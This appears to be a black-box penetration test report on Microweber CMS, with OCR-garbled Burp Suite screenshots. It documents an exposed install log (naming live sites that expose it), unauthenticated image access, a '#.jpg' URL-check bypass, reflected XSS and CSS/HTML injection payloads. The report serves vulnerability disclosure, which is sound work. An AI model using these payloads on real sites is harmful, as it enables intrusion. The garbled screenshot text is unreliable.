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Executive Summary

This report presents the results of the Black Box penetration testing for the
Microweber Open-Source CMS. The recommendations provided herein are
structured to facilitate the remediation of the identified security risks. This
document serves as a formal letter of attestation for the recent Microweber CMS
penetration testing. Evaluation ratings compare information gathered during the
engagement to "best in class" criteria for security standards. We believe that the
statements made in this document provide an accurate assessment of
Microweber's current security as it relates to Microweber data. We highly
recommend reviewing the Summary section for business risks and High-Level
Recommendations to better understand the risks and discovered security issues.

Grading Criteria

The penetration test for Microweber utilized the Common Weakness Enumeration
(CWE) and the OWASP Top 10 as key grading criteria. The CWE framework was
employed to identify and categorize specific vulnerabilities, while the OWASP Top
10 served as a guide to focus on critical web application security risks. The
Common Vulnerability Scoring System (CVSSv3) was applied to quantify the
severity of identified vulnerabilities, aiding in prioritizing remediation efforts based
on potential impact.

Project Objectives

The overarching goal of the penetration test was to assess the security posture of
Microweber, uncovering vulnerabilities in line with the CWE and OWASP Top 10
frameworks. Specific objectives included the identification and validation of
security weaknesses, the quantification of risk using CVSSv3, and the provision of
actionable recommendations to enhance the overall security of Microweber.

Methodology

The penetration test followed a black-box approach. The methodology included:

1.Vulnerability Assessment: Applying automated tools and manual techniques
based on CWE and OWASP Top 10 to discover and validate vulnerabilities.

2.Exploitation: Ethical exploitation of identified vulnerabilities to assess impact,
with severity quantified using CVSSv3.

3.Post-Exploitation: Analyzing the extent of compromise and determining
potential risks associated with successful exploitation.

4.Reporting: Documenting findings, including identified vulnerabilities, their CWE
categorization, OWASP Top 10 relevance, and CVSSv3 scores, with actionable
recommendations for remediation.
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Summary of Findings

Vulnerability # Score

5.3
1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

3.8
3 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

4 8.1
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

5 4.6
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

6 3.5
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
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https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N&version=3.1
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https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N&version=3.1
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N&version=3.1
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N&version=3.1
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Findings
2. Broken Access Control

Broken Access Control refers to a security vulnerability that occurs when an
application or system fails to properly enforce restrictions on what authenticated
users are allowed to do. This vulnerability arises when access controls, such as
permissions and restrictions, are not effectively implemented or are easily
bypassed. It allows unauthorized users to access sensitive data, perform actions
they shouldn't be allowed to, or exploit functionalities that should be restricted.

The consequences of Broken Access Control can be severe, as it can lead to
unauthorized access to confidential information, unauthorized modification of
data, and other security breaches. Common examples include a user being able to
view or modify another user's data, gaining access to privileged functionalities
without proper authorization, or manipulating URLs or parameters to access
restricted areas of a website or application.

Reference: https://owasp.org/Topl0/A01_2021-Broken_Access_Control/

2.1 Files or Directories Accessible to External Parties

Description:
The product makes files or directories accessible to unauthorized actors, even
though they should not be.

Location:
http://microweber.local/userfiles/install_log.txt
http://microweber.local/api/image-generate-tn-request/{Number}?saved

Impact:
Some files are accessible to unauthenticated users and this may lead to sensitive
data leakage.

Reference: https://cwe.mitre.org/data/definitions/552.html

Vulnerability Detail [1]

File install_log.txt has logs stored and they can be viewed with anyone who knows
the right value of parameter ‘_’. Those logs store installed modules and other debug
information which may be considered as sensitive.

Proof of Vulnerability [1]
Install the microweber and check both requests (client-side) and request logs
(server-side).
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Image [1]

® 0 ® [[ 34.242.236.190:9999/userfilc. X+ -
& C A NotSecure | : Juserfiles/install_log.txt h + A O>D :

Preparing to install
Saving config
Adding admin user
Saving ready config

Image [2]

Image number 2 shows only partial logs, full logs to be seen we should open URL as
in Image [1]. This file is stored in the server and not deleted. When | googled
inurl:install_log.txt

myrmonda.net
hitps:fimymonda.net » userfiles » install_log %

https://mymonda.net/userfiles/install_log.txt

@ saintjoseph-malonne.be
hitps:fisaintjcseph-malonne.be » userfiles » install_log

https://saintjoseph-malonne.be/userfilesfinstall_|...

Image [3]
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Vulnerability Detail [2]
It is possible to view images uploaded by administration but not used.

Proof of Vulnerability [2]
Upload any image in any way, but don’t use it anywhere. To see uploaded images
you can use Media Libary.

ene [@ 172.16.241.132:8080adminjs! x  [{] Live Edit % | [[ Another new product x| + v

< C A NotSecure | 172.16.241.132:8080/admin/shop/category/create?parent_page_id=3 h & % X 0 &

"& R

Select image
[ ——
My computer URL Uploaded Media library
@ ===
A = .
-
—— Add

Cancel
@ ==
- — e ——
9
- am— -
[ ] [ ] Burp Suite Community Edition v2023.7.3 - Temporary Project
Dashboard Targat Proxy Intruder Repaater Collaborator Sequancer Decoder Comparer Logger Organizer Learn Extansions QL ) Sanings
Intercept HTTP history WabSockets history (&) Proxy settings
7 Fiter. Showing al ftems @
¥ Host Method UAL Params  Edited Status code Length MIMEtype Extension Title Comment LS P
805 hitpa//172.16.241.132:8080 GET Japiimage-generate-inrequest/417sav... ' 200 4318 XML 172.16.241.132
Request Response Bl Inspector nd = - & x
n = n o=
y Raw  Hox Praty  Raw  Hex  Render D — 3 .
1 GET fepifimage-generate-tn-request/d17saved HTTR/1.1 1 NTTR/1.1 200 OK
2 Host: 172.16.241,132:8080 pate: Sun; 19 Nov 202
3 User-Agent: Mozilla/5.@ (Windows NT 18.@; WinB4: x64) Sery Request query parameters 1 <
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115..5790.171 4 X-Pg
Safari/537.36 S Contents Request cookies 6 v
4 Accept: 5 Connection: close
image/avif, image/webp, image/apng, image/svg+xml, image/+, #/+;q=0, Content-Type: image/svg+xml
8 Request headers. 8 w
% Referer: 9 <?xml version="1,0" encoding="UTF-8"?>
hrtp://172.16.241.132:8080/admin/shop/category/createtparent_pa 18 <swg xmlns="http://www.wd.org/20080/svg" xmlns:xlink="
ge_id=3 1/ fwwne. W3, 0Fg/1999/x14nk" version="1,1" id="Layer_1" x="@px Response headers (] o

6 Accept-Encoding: gzip, deflate Bpx" viewBox="8 @ 796.9 218.6" style=

7 Accept-Language: en-GB,en-US;q=0.9,en;qs=@.8 enable-background:new @ B 796.9 218.6;" xml:space="preserve"s

# Copkie: isEditMode=true; lang=en_US; 11 <style type="text/css"»
remenber_web_50ba36addc2b2fi4015801014c7150eade30969d= 12 .ste{fill:none;stroke: #O0000R;stroke-miterlinit:10;}

1%7CyLhdywST k3qy8xexalDvkbGzgbB0ceSynCmxafaybbexjOLadCazipL3fs 13 Lsti{fill=rule:evenodd;clip=rule:evenodd; fill:urL{#5VGID_1_);
THTCH242y%2418%240uk 1I0Vq10CLz rRExQomS0R2Yt ToVT q0Yws 700p. UYDSyR

0B1509.; laravel_sessions 14 st2{filL:AFFFFFF;}
Lj€XShtiCaT¥ZndKEwLMwPdyOuXproj jHXVL1tmR; back_to_admin= </styles

hTtp%3A//172.16.241.132%3A80808/admin/shop/ category/createxifpar <rect x="=-91,3" y=

]

=1286.5" class="st@" width="48@88" height="

ent_page_id%303; XSRF-TOKEN= 4009"></rect>
ey)pdil61iBncENGY2pnTXI1Y2ha02pna2 Ly TEEIPSISInZhbHY LIjoicUIrVIN | 17 <g=

yalYwGxWZIFhSK1C03Z1M1p pPMEF iMAdtboMzdERt DBUNSEIZH |18 <g>

EQUHZKZ kNmWmZWOnAzc SOURZ QwQXd IK1VYRY93RUPKVKpPUKIUANFQS211YBEVS 13 =path d="

ONMNBW2eWE FTHOA dKXWYGO3dONDDGIQLISSOWM AL tYWH LOET 3HDN L ZWF KOTUW M228.2,101.9h9.1¢1.7,9,3.1-0.3,4.4-0.8¢1.2-0.5,2.2-1.3,2.9-2. 3¢
Zj hiNWI 3YRMuND kNaN 1M 2GS Z0kwYRLyZWUSNZAKZTd N RZTGwZN iZDkxM2Y #.7-1,1-2.2,1-3.6c0-2,2-9.7-3,8-2.2-4.9
MiMy0GYxIiwidGFnIjoilnd%3D +1-3.5-1.7-6-1.7h-6.2v38.1h7.4¢1.9,9,3.7-90.3,5.2-0.8¢1.6

9 Conmection: close . . «7-2,7c,9-1.2,1,3-2.8,1.3-4. 8

.9,6.8-2.6,9.1
5.2¢-3.2,1.1-6.9,1.7-11.1, 1. Th-20V79.3h18
+6c2,9,1,5.1,2.6,6.7,4.7

@ & [ €)[>] | searcn omatches | (3) {8) € |3 | dmin-dashboard-contact-form 0 matches

Image [5]
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| was able to view image 46 as unauthenticated user even though | shouldn’t be.

[ ] [ ] Burp Suite Community Edition v2023.7.3 - Temporary Project
Decoder Comparer Logger
8 x hami injection %

Dashboard Target Proxy Intruder Repeater Colaborator Sequancer

1% G35 Injection unauth x o 4 x 5 x 6 x 7 %

19 x 20 x 27 x 2 x unauth fle upload view x 24 x 25 x

=N e
Reques
tty Raw Hex [= Ul

1 GET fapifimage-generate-tn-request/d67saved HTTP/1.1

2 Host: 172.16.241,132:8080

3 User-Agent: Mo2illa/5.@ (Windows NT 10.@; Win6d; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.8.5798.171
Safari/537.36

4 Accept:
image/avif, image/webp, inage/apng, image/svg+xnl, image/s, w/+; (=0, 8

5 Referer:
http://172.16.241.132:8080/admin/shop/category/create?parent_page i
d=3

& Accept-Encoding: gzip, deflate
7 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
% Connection: close

@ & €[> [search.. 0 maiches

Remediation

Image [6]

Target: hitpy/172.16.241.132:8080 /°  HTTRA (3)

O= = Inspector al} = - & x
= Request atributes 2 v

Requost quiry paramoters 1 ~

Request body paramaters o v

Request cookies (] v

Request headers 7 -

45,875 bytes | 73 mills

remove the log file after installation and restrict access to view images only to

authorised users.
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2.2 Cross-Site Request Forgery (CSRF)

Description:

The web application does not, or can not, sufficiently verify whether a well-formed,
valid, consistent request was intentionally provided by the user who submitted the
request.

Location:
http://microweber.local/livewire/message/admin::edit-user.update-profile-form

Impact:

The consequences will vary depending on the nature of the functionality that is
vulnerable to CSRF. An attacker could effectively perform any operations as the
victim. If the victim is an administrator or privileged user, the consequences may
include obtaining complete control over the web application - deleting or stealing
data, uninstalling the product, or using it to launch other attacks against all of the
product's users. Because the attacker has the identity of the victim, the scope of
CSRF is limited only by the victim's privileges.

Reference: https://owasp.org/www-community/attacks/csrf

Vulnerability Detail [3]

When uploading an image, for example a profile photo, it gets stored in the server
and when saving it the full URL is used to save it. Attacker can put URL from
external source. It may be intended when adding a category image, but not when
uploading a profile photo. Vulnerability exists in uploading profile photo. Also there
is a check for extension, which can be bypassed

Proof of Vulnerability [3]

In Image [7] we put external URL, for example some random image from github and
in the Image [8] we can see that it is in source attribute. Application would allow me
to add URLs that end only with .jpg, so | used #.jpg, it will comment .jpg and | would
be able to add any URL | want, which will allow me to make anyone viewing the
profile send any malicious request | want. As you can see in Image [9], | added #
before the .jpg and in Image [10], the request was sent without #.jpg, as itis a
comment. This way we bypassed the security implemented.
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[ ] [ ] Burp Suite Community Edition v2023.7.3 - Temporary Project
Dashboard Targat Proxy Intruder Repeater Collaborator Sequencer Decoder ‘Comgarer Logger Organizer Leam InQL

1% 2 x 3 x 4 x 5 x 6 x T x 8 x 8

m @ Cancel <|*

Request
Pratty
parent_id":null,
‘user_information":null,
‘role”tnull,
"mediun":nul
"profile_url":null,
"website_url":null,
‘email_verified_at™:null,
“name" :null
“userld":3,
“listeners”:{

“updateProfilePhoto": "updateProfilePhoto"
b
“datadeta: [

"::I\ ecksun":
“ebb8932d7578c5bd8a624dcbabeeblbod6eeno5eas110e8Tf ToTOT 2c00acl
43"

updates”; |

“type®:“fireEvent",
{

ipdateProfilePhoto”,

“https://raw.githubusercontent.com/ianare/exif-samples/ma
ster/ipa/Panasonic_DMC-FZ30, jpg”|
1

0 matches

o 12 = 13 = +

m Microweber

(&) Seitings
Q

Target: hiipy/172.16.241.132:8080 /7 HTTPA ()

Raw Hex Rende: 8w =

Response

“serverMenc” : {
"htmlHash®:"945ac3el",
“data":{

“state"

2023-11-16T15:43: 42, 0000002",
2023-11-16T18:56: 40, BODRARZ",
ull,

2023-11-16 18:56:40",

ull,

“username’ Egt;test”,
“email”:"\"&gt;<hl>test<\/h1>",
"is_activer:l,

“is_admin":1
"i5_verified
"is_public”
“basic_mode

"last_name"
“phone”:null,

“thumbnail®:
“https:\/\/raw.githubusercontent.com\/ianare\/exif-samples\
fmaster\/jpg\/Panasonic_DMC-FZ30.ipg",

"parent_id":null,

"user_information":null,

"email_verified_a
“name”null
}

hecksum™ :

"4ed33271804c9@ef@0bdeTb5e7a9871b628afadccdETRfdSddcfbIaabeffla
"

@@€2 [soareh. 0 matches

Image [7]

Inspector =3

Request atributes

Request query paramelers.

Request eookiee

Request headers

Response headers

T @& X
2~
0~
5 v
1B v
0 v

9,834 bytes | 98 mills.

one 17216.247 X | [ view-sourc x | @ Panasonic x | [@ 17216241 x [[ view-sour x @ Panasonic X | [ view-sourc x | [[ canon-40c x | [@ 17216241 x | + v
&« C A NotSecure | vi 172.16.241. 5/3/ g« K 4 0O & :
™ Light </span>

7% </span>

778 </span>

7

m <span id="navbar-change-theme-icon-dark” style="display: none;~ >

m <span class="d-flex">

750 <svg fill="currentColor” class="me-3" xmlns="http://www.w3.org/2000/svg” height="24"

81 viewBox="0 96 960 9607 widrh="24">

2 <path

83 d="M480 936g-150 0-255-105T120 576g0-150 105-255¢255-105q14 0 27.5 1t26.5 3g-41 29-65.5 75.5Tddd 396q0 90 63 153t153 63g55 0 101-24.5£75-65.¢
54 </avg>

5 <span class="fs-3">

786 Dark </span>

87 </span>

788 </apan>

89 <fax

w0 </1i»

Bl <1i class="nav-item nav-item-profile pt-1">

e

3 <a href="http://172.16.241.132:8080/admin/user/profile” class="nav-link fs-3">

4

5 <img sre="httpa://raw.githubusercontent.com/ianare/exif-samples/master/jpg/Panagonic DMC-F230.jpg" alt="" class="rounded-circle profile-img" >
8

v <span style="text-overflow: ellipsis; overflow: hidden; display: block; white-space:nowrap; max-width: 150px;">
8 "&gt;<hl>test</hl> </span>

e

800 </a>

801 </1ix

Bz | </ul>

803

B4

805

606 </div>

Lo

508 </div>

B0

B0

an

Biz <script>

813

814 var handleConfirmBeforeLeave = functien (c) {

815 if (mw.askusertostay) {

B16 mw.confirm(mw.lang(“You have unsaved changes. Do you want to save them first") + '?°,
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[ ] [ ] Burp Suite Community Edition v2023.7.3 - Temporary Project
Dashboard Target Praxy Intruder Repeater Collaborator  Sequencer Decoder Comparer Logger Organizer Leam InGL 12} Settings.
1 2 x 3 x 4 x 5 x 6 x 7% 8 x 9 0 x " x 12 % Wkphoto x Q

Target: hitpy/172.16.241.132:8080 7 HTTPA (3)

Response == Inspector o = - & x
B n = 3 w =
Prety Row  Hex =] T 2 =
"serverMemo™: {
" " ESTe fRef
3:'{';”":" basfacty Request query parameters o <7
“phone” tnull,
“thuabnail": “1d":1, Request eookies 5w
"http://172.16.241.132:8080/userfiles/media/default/nnnl. pn "updated_at" 23-11-16T16:01:55,0000002"

X 2023-11-16T18:56: 46, B0DRARZ",
“parent_id":null, ull, Request headers B v
“user_information":null, 2023-11-16 18:56:48",

Response headers 10~
Sgtitest,
i<hlatest<\/h1>",
“userld”: "is_public”
"listeners”:{ “basic_mod
“updateProfilePhoto": “updateProfilePhota” “first_name
} “middle_name
y “last_name"
"dataMeta": [ “phone":null,
1. “thumbnail®
“checksum": L PIV/4/127.0.0.1:8181\/zaproskotoriysdelayetadminga. jpg"
"ebb8932d7578c5bd8ab24dcbabeeblbOBdEeebI5eas110eB81 170107 2¢9%ac] .
43" "parent_id”:null,
i “user_information":null,
“updates”: [ “role”:null,
{
“email_verified_at":null,
“name” :null
"checksum™ :
} "a63f0bd96c9f26e56b40c4a94832a42d f0968ea325087440358a6a448daf46
¥ 5c*
] }
i H
omatches | (3) {63 €[> 0 matches
Done 9,760 bytes | 105 mills

Image [9]

ene Downloads — Python -m http.server 8181 — 168x24

‘MacBook-Pro Downloads % python3 -m http.server 8181
Serving MTTP on :: port B181 (http://[::]1:8181/) ..

1 - - [16/Nov/2023 4] code 484, message File net found
1 - - [1&6/Nov/2023 code 484, message File not found
@.1 - - [1&6/Nov/2023 "GET fa.jpg HTTP/1.1" 48B4 -
@.1 - - [16/Nov/2023 "GET /fa.jpa?7time=1728158484 HTTP/1.1" &84 —
8.1 - - [16/Nov/2023 code 484, message File not found 4—"
8.1 = - [16/Nov/2023 "GET fzaproskotoriysdelayetadmin HTTP/1.1" &4 -
fEff:127.8.8.1 - = [1&6/Nov/2023 code 484, message File not found
piffFf:127.0.0.1 - - [16/Nov/2023 "GET /zaproskotoriysdelayetadmin HTTP/1.1" &@4 -

Image [10]

Remediation
Use relative paths when adding an image instead of using full URLs.
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3. Injection

An application is vulnerable to attack when:

e User-supplied data is not validated, filtered, or sanitized by the application.

e Dynamic queries or non-parameterized calls without context-aware escaping
are used directly in the interpreter.

e Hostile data is used within object-relational mapping (ORM) search parameters
to extract additional, sensitive records.

e Hostile data is directly used or concatenated. The SQL or command contains
the structure and malicious data in dynamic queries, commands, or stored
procedures.

Reference: https://owasp.org/Topl0/A03_2021-Injection/

3.1 Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting')

Description:
The product does not neutralize or incorrectly neutralizes user-controllable input
before it is placed in output that is used as a web page that is served to other users.

Location:
http://microweber.local/login?username={payload}&password={payload}
http://microweber.local/module

http://microweber.local/api/save_option

Impact:
In some circumstances it may be possible to run arbitrary code on a victim's
computer when cross-site scripting is combined with other flaws.

Reference: https://cwe.mitre.org/data/definitions/79.html

Vulnerability Detail [4]

There is XSS vulnerability in the login. The vulnerability arises from the ability of
inserting credentials in GET request, which then allows attacker to bypass the
security measures implemented and execute javascript code.

Proof of Vulnerability [4]

| simply used request to add username and password and then checked where it
gets reflected in the source code, Image [11]. Then instead of escaping the input
tag, | executed the javascript code inside it Image [12], Image [13]. Same can be
done for password parameter, Image [14].
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ece 172.16.241. x | L % | Microweber % [0 Login x4 -

L in_content h 4« A O & @

/ m /{icroweber |

Username:

€« - C A NotSecure | 172.16.241.

admin

Password:

Language:

English [en_US] ~

|

Back to My WebSite  Forgot my password?

Create a website with Microweber Version: 2.0.4

Image [11]

ece 17216.241082:6 % | [ L x| % | [@ Login % | [@ Login x | [T} Login S view-source:172. X 4 v

& 5 A NotSecure | view-source:172.16.241.132:9090/login?username={"onfocus=alert(1)%20autofocus> d ¥ A 0@ :

i="admin_login">

1" method="post" id="user_login_module-users-login” action="http://172.16.241.132:35090/api/usexr_login">
b
3-3">

iss="form-label" for="username’>Username:</label>
se="text" class="form-control” id="username" name="username" tabi.

*1" placeholder="Username or Email” value="[" onfocus="alert(l)" uutufocus:!' required /&gty

9=3">
1ss="form=label" for="inputDefault">Password:

se="password” class="form-control” id="password" name="password" tabindex="2" placeholder="Password” required>

<div class="form-group">
is8="text-muted” >Language: </label>

lass="form-select d-block™ data-style="btn-sm~ data-size="5" data-live-search="true” name="lang" id="lang_selector® data-width="100%" data-title="English">

<option value="en US" selected>

English (en_Us)
foption>
<option value="af_zA">
Afrikaans (af_tA]
foption>
<option value="sq AL">
Albanian (sq_AL]
foption>

Image [12]
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®0® [@ 72162414328 x | [[ L x| @ % | [[ Login % | [[ Login x | [E] Login X @ Login X+ -

<« X A Not Secure | 172.16.241.132:9080/login?username="onfocus=alert(1)%20autofocus> h % A 0O &

172.16.241.132:9090 says
1

Image [13]

® 0@ [@7zsa8ze x | @ i x| @ % | [@ Login % | [[@ Login x | [T Login x Login X+ v

L= X @ 172.16.241.132 flogi d="onft lert(%27xss_pass%27)%20autofocus> d & A 0@

172.16.241.132:9090 says

XS5_pass
Username:

Password:

" required>

Language

English [en_US]

Back to My WebSite Forgot my password?

Create a website with Microwaber Version: 2.0.4

Image [14]
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Vulnerability Detail [5]
There is a CSS Injection while sending request to /module/. Module adds
parameters inside div which can be misused.

Proof of Vulnerability [5]

In Image [15] | added background URL and it sent a request to my server, Image
[16]. In this case the style attribute was injected with external url. More information
about CSS injection: https://owasp.org/www-project-web-security-testing-
guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-
Testing_for_CSS_Injection

[ ] [ ] Burp Suite Community Edition v2023.7.3 - Temporary Project

Dashboard Targat Praxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Leam Exiensions InQL {5 Settings
1 ¢35 Injection unauth a8 [ Q
m ) < Target: hitp:/17216.241 1328080 HTTRA ()

(o = =
Request Response Inspector =D : @ X
Raw Hox no= Protty Raw Hex Rendor 8B w = e 3 »

1 POST /module/ HTTR/1.1 1 HTTP/1.1 200 0K

2 Host: 172.16,241,132:8080 2 Date: Sat, 18 Nov 2023 13:36:59 GMT

3 Content-Length: 185 3 Server: Apache/2.4.57 (Debian) Request query paramoters. L] A4
4 Accept: wis 4 X-Powered-By: PHP/8.1.25

5 X-Requested-With: XMLHttpRequest 5 Cache-Control: no-cache, private Request body paramters 4 ~
6 User-Agent: Mozilla/5.@ (Windows NT 10.8; Wined; x64) 6 Set-Cookie: laravel_session=

AppleWebKit/537,.36 (KHTML, Wike Gecke) Chrome/115.8.5798.171 dH1YvgdsgRIbnt551ai0KLIRZIT1ININMBY3 ftol; expires=Sat, 18 Nov 20823

safari/537.36 15:36:54 GMT; Max-Age=7200; path=/; httponly; samesite=lax Request cookies 0 -
7 Content-Type: application/x-www-form-urlencoded; charset=UTF 7 Vary: Accept-E

& Origin: http://172.16.241.132:8080 8 Comnection: close

9 Referer: http://172.16.241.132:8088/admin/ 9 ent-Type: t/html; charset=UTF Request headers " =
o Accept-Encoding: gzip, deflate 8 Conte ength:

Accept-Language: en-GB,en-US;q=0.9,en;q=8. 8 11 Response headers ) v
12 Conmection: close v class='my-lazy-load-module modul
13 mo contact dashboard-recant-; ges ' id="

i type=contact_forms2Fdashboard_recent_sessages&classs admin-dashboard-contact-form”  style="backqround-image:

mw-lazy-load-modulebid=admin-dashboard-contact-forméstyle= urlihttps://encbvse Joast, fun)®

background-images3asurl{https://cnc .0 data=types="contact_form/dashboard_recent_messages”  parent-modules

ast. fun) “contact_form/dashboard_recent_messages"  parent-module-id="

‘\ admin-dashboard-contact-form® ></div>

G & € > Omaiches | (D) (3 (&[> [esa 0 matches
Done 781 bytes | 110 millis

Image [15]
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ene [[@ 172.16.241.132:8080/adminf X & Interactsh | Web Glient x  +

&« C :/{app.interactsh.com/#/

h * & » A 0O & :

[ Reset &] MNotifications 4, Export Terms  About

 Refresh

Request Response From IP addres:s-l, 20?3—-

Copy O
TIME

less than a minute ago

1 minute ago

1 minute ago

ws NT 10.0; Wint4;

1 minute ago

1 minute ago

Notes

Image [16]

Vulnerability Detail [6]

There is HTML Injection in the /api/save_option. The vulnerability appears while
editing email.

Proof of Vulnerability [6]

In Image [17] | edit email sender name and use a payload. In Image [18] we can see
that our payload worked and it is in all the fields which can be seen in the picture.
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[ B N ] Burp Suite Community Edition v2023.7.3 - Temporary Project
Dashboard Target Praxy. Intruder Repeater Collaborator Sequencer Decoder ‘Comparer Logger Organizer Learn Extensions InQL {5 Settings
1= 255 Injection unauth % 3= 4 5« 6 x 7 % 8 = 8« himl injection % x4 Q
B3 cacea (<[> Target: hiip:// 17216241 1328080 F  HTTPI (3)
=" | pgpector WO T - & X
Request Response =
- B " = Pty Aaw Hex  Fender 8w = Py e ae e
1 POST /api/save_option HTTP/1.1 1 HTTP/1.1 2008 0K
2 Host: 172.16.241,132:8080 2 Date: Sat, 1B MNov 2023 14:03:54 GHT
3 Content-Length: 126 3 Server: Apache/2.4.57 (Debian) Riequist quory parametins o >
4 Accept: /% 4 X-Powered-By: PHP/8.1.25
5 X-XSRF-TOKEN: 5 Cache-Control: no-cache, private ~
ey)pdil6Ik16dFISALZR E9PSISInZhbHVLIjoiNGFkdy8Sazl | 6 Set-Cookie: laravel_session= Reques: body puametse 4
TdzEBVTel 2xJVEppM3cvaWRKS1 BuSCEUPVIfqlITHyolwrqm7UQFaVihyIUGTxfCvG; expires=Sat, 18 Nov 2023
FgqVkBvD 1 LTK@t 5SWhNZW:xwR2xKL2hEWUVkeFEGAKhHNBNMSWUWSRIvUAt JanUrdXhvid 16:83:54 GMT; Max-Age=7288; path=/; httponly; samesiteslax Request cookies 6 v
DFaT3FWalltYaRIVANGYKRLcXQILCI tYWMi0iIwH2 IWZGN iMTU40GFmZDI4H0AA ZmU1 7 Connection: close
NGFmizg3MZESN204M jdnM2V jHDT 3MBVmZ j 120GEyZTU2NmIhYTFhY jHiTiwidGFaljo | & Content-Type: application/json
iIng= 9 'Content-Length: 13 Request headers 13 A
6 ith: XMLHE: 18
7 User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) 11 Responge neaders & w
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.8.5798.171 "is_saved":true
Safari/537.36 s
& Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 http://172.16,241,132: 8089
10
http://172.16.241.132:8080/admin/contact-form?filter [orderField] =id
&filterlorderTypel=desc&itensPerPage=18
11 Accept-Enceding: gzip, deflate
12 Accept-Language: en-GB,en-US;q=8.9,en;q=0.8
13 Cookie: isEditModestrue; lang=en_US; XSRF-TOKEN=
ey)pdi16Tk16dF]SR1ZRAGIEK ZNNMIQ2MGxwR1EPSTsInZhbHY LT 0 iNGFkdyBSaz 1
BZURZOTRTAZEBVTCL 2xIVEppM3cvaWRKS1
FgVkavolL ZWWR2 XKL vUBt3anUrdXhvi
DFaT3FWalIt¥aRIVANGYKRLcXQILCI tYWMi0iIwM2 IWZGN iIMTU40GFmZDI4HDA4 ZmU1
NGFmizg3M2ZESN204M j dnM2V jHDI3MmVmZ j 120GEyZTU2NmIhYTFhY jHiT iwidGFnl jo
iIn@%3D; laravel_session=8uSCEuPvTfqlI7Hyolwrqm7UQFaVihyIU6fxfCvG)
remember_web_: 14c7f
1%7CyLhdywSfk 1 JeSynCr OLadCazfpLIfsTHIC
#242y%24 LIevglDcLzr ¥tTg¥7q0Vws 700, 1509. ;
back_to_admin=
http%3A//172.16.241.132%3A8088/admin/ contact-forma3FfiltersSBorderF
ield%5D%3Did%26TiltersSBorderTyp 261 'age%3D1e
14 Conmection: close
15
16 option_key=email_from_nameSoption_group=
module-contact-form-settings&option_value="<hl><hl>testfmodule=
contact_forms2Fsettings
@ @ €)[»] | saaen. | omawhes | (D B [¢][3] [ seareh.. | Dmatches
| Done wwmltwm_.

Image [17]

| ene 172.16.241.132:8080/adminfcc X @& Burp Suite = | + ©

& > € A NotSecure | 172.16.241.132: filter | [order h v & » A O 2 @

Global sender

Use custom sender settings

Use custom sender settings for the global contact forms:
By default we will use website system e-mail settings. You can change the system e-mail settings here.

[_©)

From e-mail address From name
The e-mail address which will send the message &.%. your name, company or brand name

est” class="mw_option_field
form-contral’ type="text"/> test

" class="mw_option_field form-control” type="text"(>

Global Receivers

Send contact forms data to global receivers when is submited

To e-mail addresses

Image [18]
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